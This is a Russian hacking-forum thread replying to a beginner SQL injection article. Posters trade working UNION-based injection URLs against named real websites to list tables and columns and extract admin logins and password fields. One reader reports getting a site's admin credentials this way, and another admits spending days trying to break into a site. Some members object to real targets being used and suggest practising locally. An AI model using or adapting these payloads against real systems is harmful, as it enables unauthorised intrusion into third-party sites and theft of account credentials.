ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Статьи (https://forum.antichat.xyz/forumdisplay.php?f=30)
-   -   SQL Injection для "совсем новичков" (https://forum.antichat.xyz/showthread.php?t=217895)

Alex1 06.09.2010 03:44

Спасибо.

lukmus 06.09.2010 05:58

Цитата:

Сообщение от J0cker
Ну если я могу получить имена столбцов только через "Char" или "Hax" (Если указывать просто имя таблицы типа "Users" получу ошибку)
Предположил что так же стоит поступить и при выводе инфы. из столбцов.Но увы пока без успешно.

какая версия mysql, может это вообще не mysql и там другие правила, ?

Цитата:

Сообщение от None
это безобразие типо
Код:

CHAR(65,100,109,105,110,83,105,116  ,101)
Менял на Hax(0x5573657273) в надежде что что то изменится но увы не чего не вышло.

)), не удивительно, а ты задумывался что будет в этом случае )). Если конвертить 0x5573657273 даже в hex то будет 307835353733363537323733, я уже даже не говорю что будет если это будет Hax.

P.S. намек: зачем хексить хекс... может лучше UNHEX(0x5573657273), а если по правде, то я вам не скажу за всю SQL, вся SQL слишком велика, но MySQL 3 по 5 обожают чистый хекс т.е. 0x5573657273, но в данном случае это не прокатит, по краней мере на моей памяти хекс работал только в where и в функциях

J0cker 06.09.2010 11:32

Цитата:

Сообщение от None
какая версия mysql, может это вообще не mysql и там другие правила, ?

Версия 5.0.54

Ну методом научного тыка пытался что то сделать )).

Просто не могу понять как вывести значение столбца.

Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,column_name,15,16,17,18,19,20,21,22,23,24+from+INFORMATION_SCHEMA.columns+where+table_name=unhex(7573657273)+--+
Так получаю нормальные названия столбцов.Смысла от финта ушами типа Unhex не увидел.

Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,passwd,15,16,17,18,19,20,21,22,23,24+from+unhex(7573657273)+--+
не получается получить строку из столбца passwd и все как только не извращался над ним.

Konqi 06.09.2010 13:47

J0cker при выборке данных из конкретной таблицы, нельзя писать имя таблици в ascii или hex

select column from 'имя_таблици_в_плавном_виде'

-PRIVAT- 06.09.2010 19:34

Цитата:

Сообщение от J0cker
Версия 5.0.54
Ну методом научного тыка пытался что то сделать )).
Просто не могу понять как вывести значение столбца.
Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,column_name,15,16,17,18,19,20,21,22,23,24+from+INFORMATION_SCHEMA.columns+where+table_name=unhex(7573657273)+--+
Так получаю нормальные названия столбцов.Смысла от финта ушами типа Unhex не увидел.
Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,passwd,15,16,17,18,19,20,21,22,23,24+from+unhex(7573657273)+--+
не получается получить строку из столбца passwd и все как только не извращался над ним.

Так, давайте выведем все таблицы:

Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,concat%28@i:=0x00,@o:=0x0d0a,benchmark%28400,@o:=CONCAT%28@o,0x0d0a,%28SELECT+concat%28table_schema,0x2E,@i:=table_name%29+from+information_schema.tables+WHERE+table_name%3E@i+order+by+table_name+LIMIT%201%29%29%29,@o%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+--+
Я там нашёлcity_351.admin

Выведем колонки city_351.admin:

Код:

http://region-info.ru/?city=1&&cid=343&&fid=5067+union+select+1,2,3,4,group_concat%28column_name%29,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24+from+information_schema.columns+where+table_name=0x61646d696e+--+
Вместо 0x61646d696e пишем название таблицы в HEX виде. HEX вид можно получить тут

Вот и всё, таким образом Вы можете выводить колонки таблиц.

xarbat 14.09.2010 08:49

Xоть я в этом деле не шарю, единственная статья в которой все понятно прочитал их около 10, но везде урезками, или фразами не понятные новечкам. Автору распект!!!

desad666 08.10.2010 18:54

спасибо

BlackW00D 11.10.2010 14:07

Спасибо за статью,новачкам будет полезно...

Gusev 11.10.2010 17:59

И не только...

Цитата:

Сообщение от BlackW00D
Спасибо за статью,новачкам будет полезно...

И не только новичкам. Я к примеру кое что новое узнал (мало правда, но всё же)

Rebz 11.10.2010 18:11

По-моему, бред подставлять в статье реальный адрес сайта. Это же надо было додуматься до такого...

Читайте лучше полный FAQ по SQL-inj.

Boa 11.10.2010 20:25

Цитата:

Сообщение от None
По-моему, бред подставлять в статье реальный адрес сайта

Как ни старался, ни нашел ничего бредового. Наглядный пример и все.

Цитата:

Сообщение от None
Читайте лучше полный FAQ по SQL-inj.

Ну это без комментариев.

Ins3t 11.10.2010 20:54

Зачем Вы пишет этот гуан?

Есть уже куча подобных материалов на эту тему, которые тоже гуан.

На _данном_форуме_, пожалуй, самый лучший материал был у нуля, к тому же в его теме было очень много дополнений.

Статьи нужно писать для того, чтобы донести до пользователя что то новое и интересное(ну или хотя бы просто интересное), а не для того, чтобы показать всем уровень своих знаний(который, судя по статье, ничтожен).

Подумайте над этим.

filinAr 11.10.2010 22:28

Ничего нового, уже много статей есть на эту тему, где всё хорошо разжевано.

Boa 12.10.2010 04:32

Цитата:

Сообщение от None
Статьи нужно писать для того, чтобы донести до пользователя что то новое и интересное

Статьи нужно писать, чтобы донести до пользователя информацию. Новое и интересное - опционально.

Я хоть где нибудь говорил, что в моей статье есть что-то новое, оригинальное? Я просто описал основы понятным языком, на что и сделан упор.

-PRIVAT- 12.10.2010 10:28

Цитата:

Сообщение от Boa
Статьи нужно писать, чтобы донести до пользователя информацию. Новое и интересное - опционально.
Я хоть где нибудь говорил, что в моей статье есть что-то новое, оригинальное? Я просто описал основы понятным языком, на что и сделан упор.

Тупой копипаст другими словами. Дай асю, пару вопросов задам.. посмотрим на твои знания. В моё время кое кто именно так меня проверял =\

Boa 13.10.2010 05:09

-PRIVAT- покажи мне, где я хоть раз утверждал, что отличный хекер и знаю об инъекциях чуть менее, чем все.

Асю не дам :Р

j-prof 13.10.2010 14:22

нормальная статья

[Feldmarschall] 13.10.2010 15:34

еврейский шедевр!

я по этой статье научился всему.. теперь me ломаю телекоммуникационные сети и соц сети..

Rebz 13.10.2010 15:44

Цитата:

Сообщение от Boa
Как ни старался, ни нашел ничего бредового. Наглядный пример и все.

Весь бред в том, что админы сайта наверняка умеют пользоваться поисковиком или им подкинут ссылку на эту тему. Ты вообще понимаешь, что ты этим самым подставляешь ачат? К тому же, палишь и ленивых новичков, которые добросоветсно будут заходить по ссылкам, т.е. участвовать во взломе. Можно запросто их всех привлечь к ответственности, логов будет предостаточно. А ленивые - потому что не могут посмотеть нормальную статью от Dr.Z3r0 --> https://forum.antichat.net/thread43966.html.

Dimi4 13.10.2010 17:46

Цитата:

Сообщение от None
Можно запросто их всех привлечь к ответственности, логов будет предостаточно

логи не являються доказательством

Rebz 13.10.2010 17:48

Цитата:

Сообщение от Dimi4
логи не являються доказательством

понимаю, но приятного все равно мало.

Boa 13.10.2010 19:09

Цитата:

Сообщение от None
К тому же, палишь и ленивых новичков, которые добросоветсно будут заходить по ссылкам, т.е. участвовать во взломе. Можно запросто их всех привлечь к ответственности, логов будет предостаточно.

Они сами решат, стоит переходить по ссылке или не стоит, не?

Цитата:

Сообщение от None
А ленивые - потому что не могут посмотеть нормальную статью от Dr.Z3r0

Новичку ее будет прочесть довольно сложно.

Ins3t 13.10.2010 19:18

Цитата:

Сообщение от None
Новичку ее будет прочесть довольно сложно.

Если сложно -- значит не судьба, что поделать то?

Ноль расписал некоторые отросли этой "атаки" так сказать, "изнутри"(громко сказано, конечно, но примерно так). Вы же научили пользователя подставлять кавычки и все такое даже не объяснив как это происходит.

В Вашей статье нет ничего того, чего нету в остальных говно-статьях о скуль-инжектах. Так же, что о мне подсказывает, что Вы просто переписали своими словами статью нуля и сделали это не лучшим образом.

И не пытайтесь мне что то доказать, у Вас все равно не получится.

PvgValo 13.10.2010 19:28

Хотел бы отметить, что для начала надо читать не статьи об инжектах, а книжки по скуле, чтоб хоть уметь работать с базой для начала. А на счет статьи, соглашусь с Еррорнео, это не стаья в которой рассказывается теория, а простенький пример использования, способный пробудить интерес. Но указание ссылки на сайт считаю не правильным. Для этих целей можно было зарегить домен и повесить на него сайт, на котором и показывать пример.

Rebz 13.10.2010 19:41

Цитата:

Сообщение от Boa
Они сами решат, стоит переходить по ссылке или не стоит, не?

Не. Результат-то надо знать какой будет от этих команд. Где же ещё пробывать?!

Цитата:

Сообщение от Boa
Новичку ее будет прочесть довольно сложно.

Не новичку, а лентяю.

Ins3t, PvgValo +1

shellz[21h] 13.10.2010 20:22

Цитата:

Сообщение от None
Не. Результат-то надо знать какой будет от этих команд. Где же ещё пробывать?!

Каждый ответственен только за себя, он сам выбирает что ему делать.

И не стоит винить других в этом. Чтобы практиковаться можно и apache/mysql поднять у себя.

Boa 14.10.2010 05:17

Цитата:

Сообщение от None
Если сложно -- значит не судьба, что поделать то?

Я убит наповал этим аргументом.

Цитата:

Сообщение от None
Вы же научили пользователя подставлять кавычки и все такое даже не объяснив как это происходит.

Почему выводится ошибка после подстановки кавычки написал. Остальное просто понять из урла.

Цитата:

Сообщение от None
Так же, что о мне подсказывает, что Вы просто переписали своими словами статью нуля

Я убит наповал этим аргументом. x2

Цитата:

Сообщение от None
И не пытайтесь мне что то доказать, у Вас все равно не получится.

Я, пожалуй, даже пытаться не буду

Unknown 08.11.2010 08:32

Статья гавно, для детей даунов, нолик и так описал как надо, с самого нуля, что да как, да нет же, надо ещё создать статью мол я такой же опупенный хакир как нолик!

Unknown 08.11.2010 10:02

FAQ для новичков по раскрутке скуль :3​


http://s003.radikal.ru/i203/1011/37/e58140a0d9d2t.jpg

rudi 19.12.2010 22:38

Народ

я ввел из урока последнюю строку

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,group_concat(login ,0x3a,passw),20,21,22+from+AdminSite+--+

но не увидел ни логина ни пароля

rudi 20.12.2010 00:45

а вообще статья хорошая для нубов как я

Я пошол в топик ачата где просто дают ссылки на сайты с SQL инъкциями

и почитав эту статью нашол пароль и логин от админки сайта

http://www.dovidkalutsk.com.ua/

Boa 20.12.2010 05:26

Цитата:

Сообщение от rudi
Народ
я ввел из урока последнюю строку
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,group_concat(login ,0x3a,passw),20,21,22+from+AdminSite+--+
но не увидел ни логина ни пароля

Пробелы лишние сотри, которые форум вставляет)

~d0s~ 20.12.2010 22:29

Цитата:

Сообщение от Boa
Я сам не так давно начал практиковать SQL-инъекции

Ну и нахера тогда писате статью,итак полно инфы,кто захочет,тот научиться,кто не захочет/не сможет значит не судьба,помню фразу чью-то давно "Неправильно заученный материал еще хуже незнания" мб как-то по другому,но смысл был таков.

Цитата:

Сообщение от Boa
Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL (адреса, для танкистов)

Слова POST или cookie вам что-нибудь говорит?Боюсь,что нет

Цитата:

Сообщение от Boa
Пока особо в это не вдумывайтесь, это теория, потом поймете

Вахаха,"можете вообще не думать,читая ету статью."

Цитата:

Сообщение от Boa
Делаем вот так:
Код:

http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=AdminSite+--+

доо

Цитата:

Сообщение от Boa
Имхо, SQL инъекции идеальны для начинающего хацкера

О да,а квантовая физика идеальна для первоклассников,инфа 100%

Цитата:

Сообщение от Boa
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет!

Да ты что,в статье про это так много сказано,администраторы прям навалили кучу от счастья.

Вообщем статью стоило назвать "Что надо делать когда у вас есть стандартная скуля на 5 ветке mysql" - и то,целью стояло (ну я так понял) построить грамотную и понятную обсолютно любому статью,тут же ты просто введешь людей в заблуждение.

А еще,вот допустим новичок нарвался на mssql или oracle чтоже он будет делать?Или фильруется что-то,где обходы,ах боюсь предположить,что ты сам нехера не в теме.

Всем новичкам,кто очень хочет научиться и вникнуть в тему советую сделать следующее:

1.)Ни в коем случае не читать етот бред (это лишь совет,выбирать вам)

2.)Идти читать документации (ну или хотябы книжку какую-нибудь,где самые основы и нетолько)

3.)Идти читать статью от нуля (она неподалеку и прикреплена,если будет непонятно,то значит плохо прочитали документацию,либо не судьба)

4.)Ну и конечно же практиковаться,сначала на локалке,скачать денвер (ненадо изобретать велосипед) и поставить уязвимый скрипт,смотреть что да как.

Ну или прочитать енто и идти хекать тырнеты,незная что такое update\drop и так далее=\

P.S. Автор,не обижайся на меня,я лишь высказал свое мнение,надеюсь,что ты когда-нибудь скажешь сам c улыбкой "О боже,как я мог такое написать "

KoF31n 21.12.2010 15:17

А у меня все получается до того когда тейблы выводятся и все. Конвертировал все в аси а при запросе выводит раз двадцать название тейбла.(user,user,user,user)

HBWS 26.12.2010 01:44

ТС, а чем тебя /thread43966.html не устраивает?

ЗЫ Вот она для новичков, а ты для скрипт кидисов написал

Boa 27.12.2010 16:46

Цитата:

Сообщение от HBWS
ТС, а чем тебя /thread43966.html не устраивает?
ЗЫ Вот она для новичков, а ты для скрипт кидисов написал

http://s012.radikal.ru/i319/1012/14/1a234a8133ee.jpg

fl00der 27.12.2010 17:25

Цитата:

Сообщение от rudi
Народ
я ввел из урока последнюю строку
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7 ,8,9,10,11,12,13,14,15,16,17,18,group_concat(login ,0x3a,passw),20,21,22+from+AdminSite+--+
но не увидел ни логина ни пароля

Уязвимость на том сайте была отфиксена еще когда я впервые прочел эту статью.

Boa 27.12.2010 17:37

Хм, действительно пофиксили.

John_travell 18.08.2013 19:11

Блин...думал тут решится мой вопрос))

ребят вы чего друг у друга копипастите?))

это обычный копипаст просто своими словами.....

вот я не могу сделать все по инструкции... т .к у меня вылазит вот такая ошибочка,даже не ошибочка а просто вылазит вот такая штука :

1)Вот ссылка до изменения http://site.ru/index.php?f=stat&sid=2

2)вот ссылка в именении http://site.ru/index.php?f=stat&sid=2FROM news WHERE id='774'

3)Вот ссылка после изменения : http://site.ru/index.php?f=stat&sid=2FROM%20news%20WHERE%20id='77 4'

__________________________________________________ ___

Вот и обьсни мне пожалуйста,откуда тут взялись %20 ?? я уже 5-тые сутки не могу взломать этот сайт ;D


Время: 21:57